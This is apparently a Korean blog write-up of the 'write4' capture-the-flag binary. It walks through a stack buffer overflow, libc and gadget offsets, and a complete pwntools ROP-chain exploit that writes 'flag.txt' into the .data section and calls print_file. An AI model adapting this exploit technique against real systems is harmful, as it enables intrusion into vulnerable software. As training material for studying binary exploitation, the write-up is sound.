checksec
64bit
NX bit 걸려있음
Pseudo Code
disassembler code를 확인해보면 (한 번 실행을 하고 disassemble 해야 이런 코드가 뜬다)
0x20 byte만큼
buf에서 200byte만큼 read함수를 통해 읽는다.
(+)
file을 인자로 전달해 exit함수를 우회해야한다. >> "flag.txt" 사용
(+)
buf의 크기
buffer에 할당된 buf의 크기(RSP): 0x38 byte >> OVERFLOW 발생
실행
Payload 작성
libc leak
print_file 함수를 이용해 libc_base를 구하기
여러 가지 offset 구하기
system - libc = 0x453a0
puts - system = 0x2a300
puts - libc = 0x6f6a0
/bin/sh - libc = 0x18ce17
gadget 찾기
one_gadget: 0x45226 (gadget+binsh+system) offset
pop_rdi: 0x400693
mov [r14], r15: r15의 값을 r14라는 주소 공간 영역에 값을 옮겨 적음
이 함수에 인자를 전달하기 위해 필요한 가젯: pop r14 ; pop r15 ; ret ;
pop r14 ; pop r15 ; ret ; = 0x400690
쓰기 가능한 공간
writableArea = 0x00601000 ~ 0x00602000
.data = data를 쓸 수 있는 영역 >> 0x601028
writableArea=0x601028
exploit
**usefulGadgets 함수 활용**
목표는 flag를 따는 것이기 때문에 flag가 출력되는 것을 성공으로 한다
from pwn import *
#context.log_level = 'debug'
p = process("./write4")
elf = ELF("./write4")
pop_rdi = 0x400693
pop_r14_r15 = 0x400690
mov_r = 0x400628
writableArea=0x601028
print_file_plt = elf.plt['print_file']
#gdb.attach(p)
pl = "A"*(0x20 + 8)
pl += p64(pop_r14_r15)
pl += p64(writableArea)
pl += "flag.txt"
pl += p64(mov_r)
pl += p64(pop_rdi)
pl += p64(writableArea)
pl += p64(print_file_plt)
log.info("print file@plt: " + hex(print_file_plt))
p.sendlineafter("> ", pl)
p.interactive()
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] look at me (0) | 2020.08.02 |
---|---|
gets_ (0) | 2020.08.01 |
[HackCTF] pwning (0) | 2020.07.18 |
BaskinRobins31 (0) | 2020.07.12 |
r0pbaby (0) | 2020.07.12 |